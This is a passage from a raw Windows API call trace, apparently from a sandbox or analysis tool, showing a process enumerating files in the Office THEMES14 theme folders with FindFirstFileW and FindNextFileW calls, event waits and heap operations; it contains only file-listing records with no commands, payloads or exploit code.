nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0261.161] ResetEvent (hEvent=0xe0) returned 1 [0261.161] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0262.314] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0262.315] ResetEvent (hEvent=0xe0) returned 1 [0262.315] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0262.373] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0262.373] ResetEvent (hEvent=0xe0) returned 1 [0262.373] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0262.492] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0262.492] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0262.493] GetProcessHeap () returned 0x550000 [0262.493] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0262.493] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0262.493] GetProcessHeap () returned 0x550000 [0262.493] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0262.493] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0262.494] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.494] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0262.494] ResetEvent (hEvent=0xe0) returned 1 [0262.494] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0262.527] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0262.527] ResetEvent (hEvent=0xe0) returned 1 [0262.527] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0263.037] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0263.037] ResetEvent (hEvent=0xe0) returned 1 [0263.037] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0263.305] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0263.305] ResetEvent (hEvent=0xe0) returned 1 [0263.305] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0263.594] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0263.594] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0263.594] GetProcessHeap () returned 0x550000 [0263.594] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0263.594] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0263.594] GetProcessHeap () returned 0x550000 [0263.594] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0263.594] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0263.595] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.595] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0263.595] ResetEvent (hEvent=0xe0) returned 1 [0263.595] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0263.617] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0263.617] ResetEvent (hEvent=0xe0) returned 1 [0263.617] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0263.633] ResetEvent (hEvent=0xe0) returned 1 [0263.633] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0263.681] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0263.682] ResetEvent (hEvent=0xe0) returned 1 [0263.682] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0263.716] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0263.716] ResetEvent (hEvent=0xe0) returned 1 [0263.716] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0265.182] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0265.182] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0265.182] GetProcessHeap () returned 0x550000 [0265.182] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0265.182] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0265.183] GetProcessHeap () returned 0x550000 [0265.183] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0265.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0265.183] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.183] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0265.183] ResetEvent (hEvent=0xe0) returned 1 [0265.183] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0265.439] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0265.439] ResetEvent (hEvent=0xe0) returned 1 [0265.439] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0265.461] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0265.462] ResetEvent (hEvent=0xe0) returned 1 [0265.462] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0266.301] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0266.302] ResetEvent (hEvent=0xe0) returned 1 [0266.302] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0266.818] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0266.818] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0266.818] GetProcessHeap () returned 0x550000 [0266.818] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0266.818] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0266.818] GetProcessHeap () returned 0x550000 [0266.818] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0266.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0266.819] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.819] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0266.819] ResetEvent (hEvent=0xe0) returned 1 [0266.819] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0267.404] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0267.405] ResetEvent (hEvent=0xe0) returned 1 [0267.405] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0267.490] ResetEvent (hEvent=0xe0) returned 1 [0267.490] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0267.493] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0267.494] ResetEvent (hEvent=0xe0) returned 1 [0267.494] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0267.512] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0267.512] ResetEvent (hEvent=0xe0) returned 1 [0267.512] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0267.534] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0267.535] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0267.535] GetProcessHeap () returned 0x550000 [0267.535] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0267.535] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0267.536] GetProcessHeap () returned 0x550000 [0267.536] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0267.536] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0267.536] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.536] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, 